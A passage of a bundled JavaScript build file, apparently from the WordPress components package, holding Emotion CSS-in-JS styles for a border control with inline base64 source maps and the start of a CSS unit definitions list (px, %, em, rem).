Cggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32797 var resetButtonWrapper = false ? {
32798 name: "1ghe26v",
32799 styles: "display:flex;justify-content:flex-end;margin-top:12px"
32800 } : {
32801 name: "1a93xby-resetButtonWrapper",
32802 styles: "display:flex;justify-content:flex-end;margin-top:12px;label:resetButtonWrapper;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxSnFDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */",
32803 toString: _EMOTION_STRINGIFIED_CSS_ERROR__14
32804 };
32805 var borderSlider = () => /* @__PURE__ */ css("flex:1 1 60%;", rtl({
32806 marginRight: space(3)
32807 })(), ";" + (false ? "" : ";label:borderSlider;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEySnFDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32808
32809 // packages/components/build-module/unit-control/utils.mjs
32810 var import_i18n21 = __toESM(require_i18n(), 1);
32811 var import_element82 = __toESM(require_element(), 1);
32812 var isWeb = import_element82.Platform.OS === "web";
32813 var allUnits = {
32814 px: {
32815 value: "px",
32816 label: isWeb ? "px" : (0, import_i18n21.__)("Pixels (px)"),
32817 a11yLabel: (0, import_i18n21.__)("Pixels (px)"),
32818 step: 1
32819 },
32820 "%": {
32821 value: "%",
32822 label: isWeb ? "%" : (0, import_i18n21.__)("Percentage (%)"),
32823 a11yLabel: (0, import_i18n21.__)("Percent (%)"),
32824 step: 0.1
32825 },
32826 em: {
32827 value: "em",
32828 label: isWeb ? "em" : (0, import_i18n21.__)("Relative to parent font size (em)"),
32829 a11yLabel: (0, import_i18n21._x)("ems", "Relative to parent font size (em)"),
32830 step: 0.01
32831 },
32832 rem: {
32833 value: "rem",
32834 label: isWeb ? "rem" : (0, import_i18n21.__)("Relative to root font size (rem)"),
32835 a11yLabel: (0, import_i18n21._x)("rems", "Relative to root font size (rem)"),
32836 step: 0.01
32837 },
